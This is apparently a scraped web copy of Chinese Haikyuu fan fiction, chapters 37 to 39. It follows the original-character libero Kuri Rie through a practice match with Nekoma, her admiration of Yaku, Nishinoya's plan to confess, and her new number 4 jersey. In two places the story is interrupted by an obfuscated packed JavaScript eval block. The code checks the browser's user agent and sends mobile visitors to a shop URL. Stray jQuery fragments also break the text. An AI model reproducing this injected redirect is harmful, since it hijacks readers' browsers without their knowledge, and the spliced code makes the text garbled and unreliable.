那种莫名其妙的自谦，挂在嘴边的“才没有那么好看”之类的回答是九里绘绝不可能涉及的领域，于是她道：“谢谢你夸我。” 爽快地应下后，九里绘努力向山本猛虎挤出一个充满了善意的微笑。 “可恶，不愧是石原里美酱…”山本猛虎注意到了身边西谷夕的具现化怒火，“不对，知晓了名字还不称呼着实是一件非常失礼的事情。” “九里绘小姐！——您就连嘲讽脸都做得那么美丽动人！！”山本猛虎高调呐喊。 轰隆！似乎是惊雷劈下的声音。 “…嘲讽脸？”九里绘不敢置信。 首次模仿清水学姐的笑容以完全失败告终，九里绘整个人肉眼可见地颓废了两秒。 两秒钟一到，她的外表恢复了正常状态，内心凉飕飕地转身离开，嘴里念叨着：“我再也…不对着外面人笑了。” “…可恶的人类。” 两校的队伍进入体育馆内热身，换上了各自比赛的正式球服后，九里绘的眼睛亮了起来。 乌野是黑橙色的搭配，黑色赛高！ 看见背号为十的日向翔阳抱着排球朝自己奔来，九里绘先一步面向他，摆出随时可以回应对方的姿态。 “九里桑！能帮我做一下接球的热身吗？”日向翔阳问。 九里绘的内心咯噔了一下，满脸愧疚地说：“抱歉，翔阳，这几天不行。” “咦？” “前天训练赛的时候，我不小心把脚扭伤了。”说着，九里绘抬起右脚，用脚尖轻轻点地示意，“所以，不能参与剧烈运动。” 日向翔阳慌张地将球塞到身后：“对不起，我刚刚才知道这件事！” 九里绘：“…嗯，不是你的错。是我忘记和你们说了，一直没找到需要解释的时机。” “什么——里绘你受伤了！！”西谷夕狂奔而来。 他绕着九里绘转了一圈，眉目紧缩，神色顷刻间严肃：“是在那天训练赛中途受的伤吗？” “嗯，第二局的前半段。”九里绘说，“后来得到了很及时的诊治，马上就能好。” 根据今天里绘的走姿状态来看，伤确实没有大碍，完全恢复只是时间问题了。 想到这里，西谷夕点点头，声线压低：“这样啊，后来呢？” 九里绘平静地阐述：“后来，一比二输掉了。” 西谷夕顿时大惊失色：“不，我没有要问比赛结果的意思！！” “我想问的是……”西谷夕酝酿起语句，“后来，里绘你的感觉如何？” “因为里绘是非常特别的一名选手，胜败什么的对你而言不重要。” “所以，重要的是第一次作为选手上场时享受到的心跳，在网前一次又一次、不断接下一传和扣球的触动。” 他渐入佳境：“还有身边可靠的队友们，无论多少次，都能将得分的机会交予她们的信任。” “——这样的队伍与比赛，里绘感觉如何？” …… 短暂的回想过后，九里绘理解了西谷夕的意思，嘴角溢出一声轻笑：“哈。” “很暖和，热气腾腾的，像泡在温泉里一样。” “是啊。”西谷夕将她的话小声复述了一遍，抬起头，展露出一个灿烂的笑颜，“没错啊，就是这样的感觉！！” “这就是作为自由人的幸福时刻，错不了！”西谷夕用力握拳。 “里绘也能体会到这份幸福，真的是太好了！！”他发自内心地说道。 九里绘的眼睛里再一次充满了他的身影。 对她而言，不需要过多的安慰，是她喜欢的风格。 西谷夕的这番话在起到鼓舞和慰藉的同时，已经有了更加深远的意义。 无需替她担忧，用平常心看待这次兴许是意料之内的意外负伤，因为这是她自己选择的路。 是属于自由人九里绘的骄傲。 “慢着，难道里绘你有整整一半时间退场了吗？”西谷夕反射弧极长地察觉到，眼眶中瞬间蓄满了泪花。 九里绘没料到事态的发展：“对啊…也不对，你在伤心什么？” 西谷夕立刻体会到了双倍的共情：“我觉得…不甘心啊，可恶！都是、都是地板和天花板的错！！” 乱七八糟的怪罪增加了。 九里绘无情地按住他的肩膀，一巴掌将西谷夕甩飞出去：“不准哭！快点去热身！” 动静太大，再加上人们抵挡不住看热闹的诱惑，众人纷纷笑出了声。 “武田老师，我明白你那句话的意思了。”乌养系心瞟过去，“他们这几个混小子，让人很放心啊。” “一旦进入状态，风格就会变得不太一样，这句话放在他们任何一个人身上都适用。”武田一铁微笑着说。 “……原来老师你是在说排球啊。” “嗯？难道不是在说排球吗？” 到了赛前的最后准备，九里绘走到记分板旁边，这里已经站着两名穿着红色制服的音驹高校学生。 有了先前的挫败感，她没有继续尝试对陌生人挤出笑容，面无表情地紧盯了一阵子。 那两名学生很快败下阵来，红着脸挪开了视线。 双方点头示意，然后便听见了音驹的猫又教练的声音：“翻分牌的事交给他们俩就行，小姑娘你回去坐着吧。” “好的，麻烦了。”九里绘乖乖回话，眼神却一点都不乖地停留在猫又育史的身上，数次眨动。 “嗯？还有什么事吗？”猫又育史直截了当地问。 九里绘仔细回想了一遍新学的社交礼仪，确定了其中没有严格的禁令，径直朝音驹席走去。 擦肩而过时，孤爪研磨避免了直视，不动声色地挪开两步。 “音驹的教练，打扰了。”止步于椅子前，九里绘也十分干脆地开口，“我觉得，您给我的感觉有点像猫。” “？” “噗呲。” 旁听的学生们没有忍住，猫又育史也笑了：“是嘛，说得挺形象的。” 猫又育史：“毕竟比起‘乌野’，我们确实是‘猫’没有错。” 九里绘蹙眉歪头，显然是一副没听懂双关语的表情。 “Nekoma（音驹）是neko（猫）。”忽然出现的福永招平说。 “啊！”九里绘左手敲右手，茅塞顿开。 福永招平模仿她的镜面，右手敲左手，竖指：“Bingo！” * “集合！” 回来的九里绘挨着乌养系心坐在场边。 眼前就是比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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——翔阳他想要转成普通的快攻来突破这种局面，不再闭眼等待影山的托球，化被动为主动。 九里绘在心中默默想着，没有忘记注意网对侧的行动。 整个球场，都在她的学习范围内。 “音驹的接球技术普遍很好，救球技术也不赖，一传到位率相当高，队伍配合好，选手的定位看起来根本不是什么主攻副攻……完全就是好几个自由人和一个超级自由人的组合。”她疯狂碎碎念，完全沉浸于此。 武田一铁不禁开口：“一口气说了好多字……” 破案了，九里绘的捧场夸夸是无视敌我方的全场被动能力！ “因为事实就是，他们的接球，真的很迷人。”九里绘如是说。 令她着迷的时光总是如流水般飞逝。 很快，艳阳高照，连续赢了两局的音驹拿下了比赛的胜利。 一切结束得太快，并未有人就此感到满足。 猫又育史眯眼笑笑，环顾球场上众人的脸色，说：“这就是训练赛存在的意义啊，再来吧，我们也正有此意！” 那么，继续——下一局。 乌野与音驹隔网相对，目光如炬。 还会有下一局。 …… 天边的晚霞如同溶化的金粉，从窗外缓缓洒进室内。 从早上十点起一直打到傍晚的训练赛，历经六局，终于落下帷幕。 队伍集合完毕，接下来就轮到双方教练交换讲话。 九里绘跟在乌养系心的后面，双手背后稍息站立。 待教练离开，眼看音驹队伍就要解散，九里绘上前一步：“请等一下！” 再晚，她生怕这些人跑得太快，自己追不上。 九里绘穿过人群，停在显眼的自由人反色球服跟前：“你叫什么名字？几年级的？” 三号栗色头的男生愣了一下：“三年级…夜久卫辅。” “初次见面，夜久前辈。”九里绘郑重鞠躬，专注地说，“我的名字是九里绘，一年级，位置也是自由人。” 眼神突然变得亮晶晶的：“我很喜欢你——” “咳咳咳！”黑尾铁朗不敢相信自己的耳朵。 37.37章 37章——稀奇古怪的才能 孤爪研磨从比赛开场就注意到了一股来自球场外的视线。 热烈的、难以撼动的，即使是他背身过去，那种仿佛被镜头聚焦的感觉也没怎么消失过。 为了避免四目相对的尴尬局面，他用余光稍稍打量，迅速将场边人员依次排除，最后只剩下了乌野的那名女经理。 不…应该说是疑似经理。 在两校介绍时，她并不在其中，而且从袖口的无意识压腕习惯来看，更像是一支排球队的上场球员。 感觉会是拼命练习、练到疯魔的那种类型。 所以—— 孤爪研磨在二次进攻得分的间隙，顺带便想出了忽略她视线的对策。 那就是，把她当成翔阳的分身复制体来看待，这样一来，无论投来多么兴奋的注视，都不会影响到他的发挥了。 直到那道声音响起。 是九里绘握住夜久卫辅的手，两眼放光地说：“我很喜欢你。” 距离音驹队伍炸开锅还剩三秒，孤爪研磨为心中的猜想默默打上一个勾，暗中撤离。 猜得没错…是和翔阳相似的风格。 如同来势急遽而猛烈的风雨。 * “我很喜欢你——”九里绘说话大喘气，停顿了一会才道，“——的接球！” 黑尾铁朗提着的心立马放下。 山本猛虎也收回了悲痛的泪水。 但是夜久卫辅就没有那么好办了。 前半句和后半句话之间的间隔仿佛过去了一年，夜久卫辅顶着已经烧到半熟的脸，勉强开口：“谢谢夸奖…初次、见面！九里学妹。” “夜久前辈好高啊。”九里绘伸手比对了一下，只要是比她高的人就一律可以夸高。 “！？？”夜久卫辅的心跳砰砰加快，莫名拘谨地摸起后脑勺，“高、高么？！这还是第一次有人在这方面夸我。” 刚走的黑尾铁朗折返回来看戏。 九里绘：“你喊我的名字，绘就可以。” 夜久卫辅很有信念感地摇头坚持：“…不行不行，我们才认识一天，进展不可以太快！” “？”九里绘听罢迅速冷静下来，乖巧地握住双手放在身前，“不好意思，是我冲动了。” “我的大脑有着刚出现‘超喜欢’之类的词，就要立刻告诉本人的个性，不愿意轻易地放任我喜欢的东西跑掉。” “夜久前辈在球场上的风格，我也一样喜欢。”九里绘如实道来，“所以四舍五入一下，我很喜欢夜久前辈这句话也没有错。” 夜久卫辅不由得瞪圆了眼睛，世界在他的眼前开始变得模糊起来。 这下应该没有意外了，春天——是他的春天到来了吗—— 恍惚间，听到九里绘继续说：“从即刻起，夜久前辈就是我崇拜的偶像了！” ……春天，终将会逝去。 悬着的心终于还是坠落山崖，夜久卫辅已升天。 就在这时，另一边，结束了教练训话的西谷夕四处张望，寻找身影。 望见九里绘和夜久卫辅在同一个方向，他一路冲刺过去，不偏不倚地插在中间。 先是朝着夜久喊道：“你的接球好厉害！” “他是音驹三年级的夜久卫辅前辈。”九里绘补充。 “哦，原来如此！能够接下我们王牌扣球的名字，我会牢牢记住的！”西谷夕兴奋地说。 等一下，好像有什么不对。 “里绘你怎么知道的？”西谷夕略感不安地转头。 “因为，是我先来的。” 九里绘单手叉腰，得意地抿嘴盯着他：“是我先对夜久前辈说出那句‘很喜欢’！” 西谷夕瞳孔地震：“‘喜欢’！！？？” 时刻谨记，九里绘口中的喜欢是一个具体的形容词。 可不明真相的夜久卫辅显然理解错了意思，还紧握着拳头，全身绷紧：拜托了，不要再重复那句让人想歪的话了！ 在九里绘的视角中，同为自由人，她有理有据地猜到西谷夕也对这名技巧高超的前辈/对手有了崇敬之情。 紧接着，九里绘那份属于热血笨蛋的好胜心瞬间被点燃。 没错，在和偶像搭上第一句话这件事上，是她先来的—— ——明明是他先来的！！？ 与此同时，西谷夕崩溃地心中呐喊。 完全不在同一个频道的两人，默契地拥有了句式相同的心声。 西谷夕攥紧拳头，深刻反省。 原来……自由人的技术强，真的可以在里绘心目中占据很高的地位。 是一个超高的得分点啊。 但是，他绝不会轻言放弃的。 “你们队伍的整体接球水平都高，而你的实力更加惊人。”西谷夕向夜久卫辅鞠躬示意。 “我是不会输的。”说到一半，西谷夕忽然咬牙切齿地强调，“各个方面都不会输！！再见！” 蹲下身：“里绘，请让我背你走吧！” “不要，我先和夜久前辈加个联系方式。”九里绘果断拒绝。 西谷夕大受打击，可身为自由人依旧本性难移：“那我也要加！” “你们两个是小孩吗？”菅原孝支吐槽道，转而说，“真是抱歉，我们乌野的队员给你添麻烦了。” 夜久卫辅抹掉额头的细汗：“没有关系…手机号可以吗？” “没有问题！！”两人异口同声。 之后，便是用完场地的大扫除环节。 在器具室拿拖地板的工具时，海信行微笑着提到：“乌野的自由人是很有趣的家伙吧。” “…啊，很可怕。”夜久卫辅就事论事，“他的实力也很强，却还能保持谦逊，将来会是相当可怕的对手。” “不过，我们肯定不会输就是了。” 海信行继续微笑，帮他找回记忆：“我指的是乌野那个黑色短发的女孩子，夜久应该会觉得她很可爱吧。” 暴击！！ 吓得夜久卫辅赶紧扔掉了手里的拖把，捂住脸：“……那种让人心脏大起大落的事就不要再说了！” 黑尾铁朗趁机凑到旁边揶揄：“是个子小，憧憬自由人，夸夜久个子高，甚至是短头发的女孩子~！” “天底下怎么会有那么符合‘夜久前辈’心选类型的人呢？” “因为你仅、仅、只是她的偶像！哈哈哈哈哈！”黑尾铁朗狂笑不止。 “闭嘴！！”夜久卫辅怒道。 * 返程的路上，九里绘有了些新奇的想法。 基于她整场比赛都沉醉于接球的魅力，于是她便从这方面说起。 赶在车上的人睡着前，她将自认为是接球苦手的日向翔阳拍醒。< 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沉默了一会，乌养系心侧头问：“影山，你怎么看。” 从睡梦中惊醒的影山飞雄将最后那个“看”字理解成了动词。 “我可以理解九里同学的说法，但是做不到。”影山飞雄直白地说，“正常情况下，我看不清球…的色块，是这么个意思吧。” 乌养系心若有所思：“九里她打自由人的位置很久了吗？” “没有吧，我记得是一个月左右，从重新捡起排球开始算起。”影山飞雄想了想，“国中可能有人教过她一点，但她以前没有主攻练习排球。” “……了解。”乌养系心神情复杂地看着和众人分享独家秘籍的九里绘，内心由衷地感慨。 虽然听上去稀奇古怪…但毋庸置疑这是一种才能，体育竞技还真是无情啊。 幸好对于乌野而言，作为球网同一侧的队友，只要称得上才能，那就是一个再好不过的消息了。 “说起来，乌养教练您是乌养一系老教练的儿子吗？”九里绘突然问。 乌养系心的脸抽搐了下，放弃反驳：“……他那年纪，到我这一代应该是孙子才对吧。” “原来是这样。” 九里绘翻起手机相册：“我的队伍，也就是女排部在修器材室的墙的时候，捡到了老教练以前任教留下的草稿纸。” 找到那张女排部全员在掉了一地纸屑的墙面前，抱着草稿纸比耶合影的照片后，她将手机递给乌养系心。 “里面详细地记录了老教练对于排球基本功的练习分解，还有以每周为界限的周期训练方针。” 简称斯巴达式训练。 “那样好的东西，我们自然是当天就用上了。”九里绘苦思冥想，“嗯……想来问问您，我们不用付版权费之类的东西吧，要也付不起，原件要还给您吗？” “……你们随便用吧。”乌养系心不想面对。 “好的。”九里绘痛快地坐回原位，像风一样飞走了。 心中闪过几个关键的要点，乌养系心望向那道背影，微微皱眉，似乎在思索着什么。 看样子今年的比赛，乌野——即便是不一样的乌鸦，也势必会在舞台上展现出独特的风采。 青春啊，真是一段短暂又华丽的旅途……它该死得美妙。 38.38章 38章——乌野，4号，自由人 日本全国高校综合体育大会，InterHigh，简称IH，预选赛的分组抽签结果公布了。 同时收到的，还有西村纱奈的退部申请书。 揭晓答案的时刻，望月加代在白板上贴出了赛程图，她的面前，副队长雪菜萝丝带领众人双膝着地，跪倒一大片。 抱着纸箱，姗姗来迟的道宫结诧异道：“你们这是在做什么？” “祈祷。”月见里纱希双手合十。 九里绘虔诚地闭目：“祈祷大家不要沾我的死亡运气，让我们体验到开局就打决赛。” ……完了，差点忘了还有这一茬。 众人双手再次合十，重重拍打出声：“祈祷不要用到小绘/九里的运气。” “能进决赛的队伍也不用参与最开始的预选赛吧。”道宫结沉稳地开口。 “是这样吗？！！” “不然呢…你们每天连赛事规则都不了吗？” 井理世诚坦率地说：“忘记了，每天太累。” “跑十公里也会累吗？这才刚开始啊！”恕有栖川由梨无法理解。 作为女排部排在前二的超级体能废，井理世诚和佐佐木怜耶几乎是被全员监督着，在每天的斯巴达式训练后追加慢速长跑的“休息”环节。 “我讨厌体能训练！永远讨厌！！”佐佐木怜耶连连惨叫。 这时，侧门传来断断续续的敲击，有栖川一个箭步冲过去，拉开门：“是谁？！” “…奇怪，人呢？” 透过窗外，瞥见一闪而过的影子，九里绘的动态视力和直觉捕捉到了来人的身份。 “山口同学？” 喊对了名字，山口忠再也无法逃避，踏入馆内，拘束地站在门口。 他说：“我想找一下佐佐木怜耶前辈…前辈是这个姓氏吧。” 闻言，佐佐木怜耶立刻仰起脖子，傲慢地挺起胸膛：“找我做什么？” “我想…请教一下发球。”山口忠鼓起勇气说，“我想要向您请教提高跳飘球准确率的技巧！！” 佐佐木一秒都不带犹豫：“不要，我拒绝。” “那…实在抱歉，打扰到您了。”山口忠自嘲般地笑了笑。 也是啊，他这么突兀的请求肯定会惹人不快。 况且佐佐木前辈看起来似乎不太好说话…… “抱歉什么抱歉？没有抱歉！”佐佐木怜耶怒吼，“可恶，混蛋，汝等毫无眼见力的男人！” “诶？”山口忠怔在原地。 “想要问我要技巧，就必须要用强硬的、绝不服输的气势来！懦弱无能者给我滚蛋！”佐佐木怜耶大声斥责。 “你应该饱含激情地对我说——请教导我吧，拼上我所拥有的一切，即便赌上我这条卑劣的生命！！” “…是、是那种风格啊。”中尾葵尴尬地对戳起手指。 有栖川由梨细细品味：“原来佐佐木前辈是单纯的中二病。” 九里绘横插一脚：“中二病是什么？我觉得这样的讲话方式很酷，想学习一下。” “不行！”海野辉英及时打断，随后平心静气道，“没事的…不要什么乱七八糟的都学，小绘你练排球去吧。” “好吧。” 过了没多久，不远处的侧门口，山口忠终于克服了挣扎不已的羞耻心，情感充沛地念出了佐佐木怜耶让他复述的话。 佐佐木怜耶满意地点点头：“勉强可以了，你要去哪练？先说好了，要是胆敢中途退缩，我会给你取超——级——难听的绰号！见一次喊一次！” 山口忠吓得立正：“是！” “先等下，怜耶。”道宫结阻拦，“把自己的球服领了再走。” “！！！” 此话一出，霎时间，好几双眼睛齐刷刷看向了地板上的纸箱，尤其是高中时代第一次将要拿到背号的一年级三人。 道宫结蹲下身，用蛮力撕开胶布：“那么，我报到对应的号码和名字就上来领……” * 自由练习时间，乌野男排部的二年级在场馆外面进行长跑。 他们在终点的位置减慢速度直至停下，作为精气神仿佛永远都用不完的热血派，西谷夕罕见地一言不发。 其余几个习惯了他平时风格的队友们感到浑身不自在。 西谷夕安静地站在原地，双眼凝视着面前一堵什么都没有的白墙，脸上浮现出几分犹豫。 随着时间的推移，深入的思绪令他的眉头逐渐舒展开来，似乎找到了心中的答案。 深吸一口气，他的手紧握成拳，指节微微发白，突然道：“好，就这么做！” 又快速嘀咕了几句，抓起外套朝体育馆跑去。 “西谷他刚才说了什么？”缘下力问离得最近的木下。 张望一番，见四下无人，木下久志当场公布了答案：“他说——（超大声）他找到追求女生的办法了！！” “诶——那不错诶，所以他的计划呢？难不成和以前一模一样？”成田一仁笑道。 缘下力思索：“保持原样的话，绝对会被嫌弃…咳咳，慢着，他要追求的是一年级的九里学妹吗？” 成田一仁：“好像从来都没有过第二个选项。” “……”缘下力意识到关键所在，“也许…还真的不会被嫌弃。” “突然感觉话题的氛围都变了。”木下久志默默发言。 缘下力抬头眺望天空，回忆过往：“话说九里学妹第一次用参观的借口跑来观摩，就是西谷他帮的忙吧。” “提前记下了男子排球部的名单和对应的长相，自称是私下打听过很多前辈们，第二次偶遇的时候，却唯独没认出身为王牌的旭学长……” 情景重现，当时极度脸盲症患者+把短时记忆忘得一干二净的九里绘跳起来猛拍东峰旭的肩膀：“你谁啊？在排球部附近鬼鬼祟祟的做什么？” “那个一句话就差点让旭学长碎掉的九里学妹。” 成田一仁惊叹：“怎么前缀还越说越长了？” 缘下力继续解释：“因为复盘下来，确实有些漏洞百出。比如学妹她一上来就精准地叫出了我们所有人的姓氏，有些用力过猛……” “不过无论怎么样，九里学妹就是个很天然很纯粹的直觉系女生，喜欢排球，性格上居然能受得了西谷。” “而且，她有亲口承认吧——”缘下力指向天空，慢慢划圈。 【九里绘：我想多看看有趣又帅气的东西，排球就挺适合，然后我就来了。】 【日向翔阳：肯定是排球啊！我也是这么认为的。】 【九里绘：嗯，可是在我心目中……】 【全场最帅气、我最喜欢的就是自由人了！！】 回忆暂停，缘下力及时握拳收住，笑笑：“综上所述，西谷他可能有戏哦。” 菅原孝支很是认可地点了点头：“也是，总觉得西谷刚来排球部时，就说过相似的话，有点怀念呢。” 木下：“菅原学长是什么时候出现的……” 菅原：“不用在意这些细节。” 一行人在边走边聊中回到了第二体育馆。 结果没成想，里面混入了奇怪的声音。 角落里是一对一练习的佐佐木·山口跳飘球组。 中尾葵躲在柱子后面，半是紧张半是渴望地记录月岛萤的拦网动作……后者早已注意到了那种视线。 正中心的球网出现了西谷夕穿着四字熟语衬衫的背影。 “Rolling Thunder——！” 绝技展示完毕，后面紧跟着一串超快速度的解说。 “单手过肩接后滚翻的动作很干净，好帅！哦哦，后滚翻是要连续接上两个，方便换到不会影响到队友的位置吗？好酷！好帅！” 九里绘迅速说出了其中的构成要素，轻咬嘴唇两眼放光，疯狂拍手，鼓掌快得仿佛能搓出电花。 兴奋得好似全身都在发光的西谷夕冲到九里绘面前要击掌。 九里绘高高举起手，和他碰掌：“干得好，最后那个是怎么做到的？教教我！” 西谷夕故作镇定：“等你伤好了再说。” 九里绘展示起手臂肌肉：“已经完全好了，为了证明身体机能恢复，我昨晚还连续做了二十个后空翻！” 西谷夕愣住半晌，憋出一句：“那就等你练好基本功再说啦！！” 九里绘嚎叫：“我现在浑身上下有的是练基本功的体力！！” 三人：“…………” 寂静，仿佛一切都被冻结在这一刻。 一定是他们开门的方式不太对，天还没暗呢，已经出现灵异事件看到幻象了。 关门，开门。 缘下力眼神死：“我收回刚刚那句话。” “已经远超过性格能合得来的程度了，这两个臭…兴趣一致的人，仅仅只是有戏的程度吗？西谷他真的需要特意去追吗？” 木下久志小声：“……你刚才想说臭味相投吧。” 菅原孝支满脸快乐地总结：“传下去，西谷谈了个自己。” 三人：“？” 从旁边赶来的是同样想学习接球绝技的日向翔阳。 九里绘看着跑来的日向，又瞄了一眼影山，忽然灵光一闪。 她捋了捋自己的头发，将分叉的刘海捏到中间，面无表情地撇下嘴：“必要时刻，我也可以是身高缩水的影山飞雄。” 指托球。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104916|145036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哈哈哈哈哈哈！”日向翔阳捧腹大笑，直呼，“我也要来，我也要来！” 他压下头发：“还不如接球、传球、扣球都由我一手包办（那种语气）。” 影山飞雄恼羞成怒地冲过来，拽起他的衣领：“不准笑！你这个呆子！…日向呆子！” * 夜幕降临，结束了各取所需的自由训练时间，泽村大地开始一视同仁地往外赶人。 女排部宣布解散后，九里绘离开队列，提着挎包一路跑到最前面，下手力道很轻地拍了拍西谷夕的肩膀。 “我要给你看一样东西，老地方见。” 排除掉封锁的天台，她口中的“老地方”是两人最初互换身体时收拾东西的草坪。 灯光下，她没什么耐心地拽开拉链，拿出了一件白底黑条纹的上衣。 那是九里绘上学以来的第一件，印着清晰背号的选手服。 ——是“乌野”，是“4”号。 西谷夕的呼吸立刻变得急促，满脸通红地语无伦次起来：“四四四四…我我我我…排球背号！！！” 声音中带着难以抑制的激动，每一节音调都在表达着他内心的狂喜。 九里绘故意模仿起广播腔：“乌野高校，4号，自由人……” “不是西谷夕，是我九里绘啦！”她的嘴角抖成了一条波浪线。 “是、是道宫学姐她们刻意留出来的吗？！”勉强找回了一丝理智，西谷夕抓住了重点。 按以往女排部的传统，球服背号是根据年级来排序的，九里绘拿到的号码至少要在六七号左右。 “没错。”九里绘深受触动，“我一开始也没想到……学姐们会关注到这点。” “我曾经在聊天的时候和大家提到过：西谷是我的挚友，是我对排球感兴趣的契机，所以，你的存在对我的意义非常深刻。” “定做球服前，学姐们暗地里商量了这件事，一致决定要给我这个惊喜。” 【背号对于选手而言，或许是今生都不会忘记的数字，等过了几年，再回头看时，它依旧在那里，作为记忆的锚点。】道宫结说。 雪菜萝丝接上她的话：【自由人是个相对比较特殊的位置，今后这个数字会陪伴着你反复进出球场。】 【所以小绘，我们能做的仅仅只是其中微不足道的一点，接下去，请背负着你在意的一切，向前进吧。】 “拥有朋友是一件很棒的事情。”九里绘发自肺腑地说道。 看着背号上崭新的数字，和眼前比灯光还要刺眼的九里绘，西谷夕无意识地抽离出一部分的自己。 那一部分，包含了他所有情绪的悸动，隐藏的渴望，微妙的怦然。 它们的共同点是——全部都与九里绘相关。 西谷夕给自己定义的角色是能被后辈所依赖的前辈，是可以并肩作战的同伴，即使没有“那一部分”，他也相信自己可以对任何一位朋友做到。 可是两者不一样……反正没有任何道理，里绘她就是不一样的嘛！ 这个世界上，压根不存在两个一模一样的灵魂啊！ 就是因为每个灵魂都是独一无二，九里绘身上的每一点小小的特质都会在他眼里不断放大，时间仿佛按下了暂停键，刚才的十几秒在脑海里重复上演。 而后在不知不觉间，大脑空白、内心却异常清晰的西谷夕打定了主意。 ——等拿下了IH预选赛的胜利，就去告白。 不仅是值得信赖的前辈、自由人同伴，还是约定好的挚友，他要做就做到最好，做到最后——说是迟来的贪心也不为过。 他全都要。 …全部都想要得到。 把球服塞回挎包，九里绘神不知鬼不觉地从背后摸出一颗排球。 “一起回家吧。” “好。” 那么长的路，他们就这样一直边走边打，打打停停，停停打打。 停下来的工夫是因为九里绘起了玩弄的心，将对传突然转变成了打防，找准机会一跃而起，在半空中扣球。 西谷夕接下了不常见的左利手旋球，然后一边扬起畅快的笑，一边回以热情的叫喊：“下一次，我来！” “接个好球，自由人！”九里绘偷袭似的将球二次进攻般推下。 西谷夕也追着她说：“Nice receive，乌野的自由人！” 两人的影子在路灯下越拉越长，最后变得模糊黯淡。 在他们挎包里静静躺着的，是印着相同校名和数字背号的球服。 ——明早的太阳会照常升起，可明天的他们会书写怎样的故事？ 九里绘不知道，但她能肯定的是，明天依旧会同样精彩。 她说，早上好，IH。 39.39章 39章——九里绘最崇拜的那个男人…… 体育社团践行会在第一体育馆内举行。 流程大约是先由主将代表全员致问候语，教导主任提醒比赛安全事宜，最后喊出振奋人心的口号激发大家的斗志。 排球社是第五个上台，在那之前，原本就在第一体育馆练习的女排部看着大清早布置场地的工作人员，齐聚在侧门口陷入思索。 幸好布置场地的要求不高，无需搬运桌椅，上空的篮球架因为活动依次收起。 雪菜萝丝的聪明脑瓜一激灵，代替不在场的道宫结做出决定： 她们要偷渡到篮球部的半场开展今天的晨训！ 训练一直持续到参加践行会的学生们陆续进入馆内，也没有停止的迹象。 联赛预赛从六月二号开始，时间所剩无几，她们势必要争分夺秒—— “第一个社团已经上台发言了，后面在打排球的那群女生给我回到位置上去！”教导主任忍不住批评。 随着话音落下，吵闹的学生们忽然安静了。 以至于从后排发出的属于排球的咚咚咚响声，无规律地落在地板，清晰得在整座体育馆内回荡。 教导主任沉默了一会，说：“排球社的负责人待会来一下。” 雪菜萝丝捂住脸，无声惨叫。 远远望着她们的道宫结：“……” 她表情和善地比口型：“给·我·回·来，马上！” 女排灰溜溜地滚了过去。 在台下候场的时间里，为了避免站着睡着，有栖川由梨光明正大地偷看一旁的菅原孝支复习进攻手势。 中尾葵紧盯着地板，企图忘掉之后要上台面对一大群的人恐惧。 九里绘在围观站着打瞌睡的日向和影山，然后自己也脖子一歪，睡着了。 海野辉英四处张望：“怜耶又去哪了？真是见鬼，她到底是怎么做到精确逃掉等待时间，还能在上场前一秒凭空冒出来的？” 周围的学生们偶尔也会窃窃私语。 “我想起来，在哪听过了。”井理世诚语出惊人道，“感觉道宫学姐训我们时的表现，有点像男排那边的泽村前辈。” “…被察觉到了啊。”道宫结有些不好意思地承认道。 月见里纱希：“说来也是。道宫学姐平常的性格很温柔，如果要教训队员，会一下子找不准风格。” “模仿泽村学长的时候，气势一下子就上来了，是个很不错的选择。”月见里纱希调侃似的笑了笑，“毕竟，其中有更加复杂的原因嘛。” 掌握真相的雪菜萝丝双手抱胸点头：“嗯嗯，有关道宫结不为人知的情感秘密……” 此刻，因为队列原因距离最近、不得已旁听到了全部内容的东峰旭，内心慌张到了极致。 怎么感觉、再听下去、就要被灭口了。 他犹豫了很久，决定转向身后的缘下力：“那个…可不可以换下位置……” 不存在的鼻涕泡瞬间破裂，九里绘当即回头：“不要想着靠逃避来解决问题，旭学长。” “旭学长怎么在球场之外就会变得那么弱啊？”九里绘真诚发问。 东峰旭震惊：“咦！？‘西谷式发言’？！” 田中龙之介也随之感叹：“简直一模一样。” 因为话太多而刚被泽村大地禁言了的西谷夕本人，在原地摆出pose挺起胸膛。 轮到排球社依次上台致辞，队员们在后排列队堪比罚站。 “泽村他的发言又平稳又能鼓舞士气……”道宫结碎碎念。 雪菜萝丝拍她的背：“打起精神来，换成你也能做得一样好。不对，是比他还要好！” “中间那部分的词是什么来着……”道宫结欲哭无泪。 雪菜萝丝顿时慌了，手舞足蹈起来：“不是吧？小抄呢，小抄救一下啊！” “小绘，你在看什么？”中尾葵发抖着问。 “在看一个人。”九里绘平静地说，“前几天和你们聊天我才知道，西谷他在初中就拿过最佳自由人的奖。” “原来在我每天都能见到的人里，就已经有一位非常强大的自由人前辈，像小山丘一样矗立在那里了。” 有栖川由梨捏住下巴：“我记得，小绘你晚上会和西谷前辈加练接球吧。” 九里绘：“嗯，所以在那么多的学姐和学长面前，只有跟西谷待在一起比较时，才能让我拥有最直观的感受。” 有栖川犯难地寻找理由：“想要变得和他一样强？” “对…也不对，不仅限于此。”九里绘说着，摊开手掌，“西谷是可以触碰到的。” “那样的实力，我会通过觉悟和努力去拼命地摸到、够着，假如说西谷的高度就已经在高中生的联赛里和山顶极为接近了——” “那我是不是同样可以抵达前面的山峰。”九里绘目光凛然，“换而言之，我要当那座顶峰。” 男排队伍下场的时候，九里绘摊开的掌心还未收回去。 她干脆换了个角度，将手臂抬起，直接面向下台的某个人。 九里绘自信地认为，那个人一定会来。 “啪！”像是收到了召唤那般，西谷夕瞬间被吸引过去与她击掌。 “要赢。”九里绘说。 “要拿县冠军。”西谷夕应下。 之后再无多言，西谷夕紧绷着一张镇定自若的脸，酷酷地转身离开，接着在离开体育馆，尤其是九里绘的视野范围后半秒变回原形。 “和里绘十指相触了，nice！好幸福！！”西谷夕攥紧那只刚才击掌的右手。 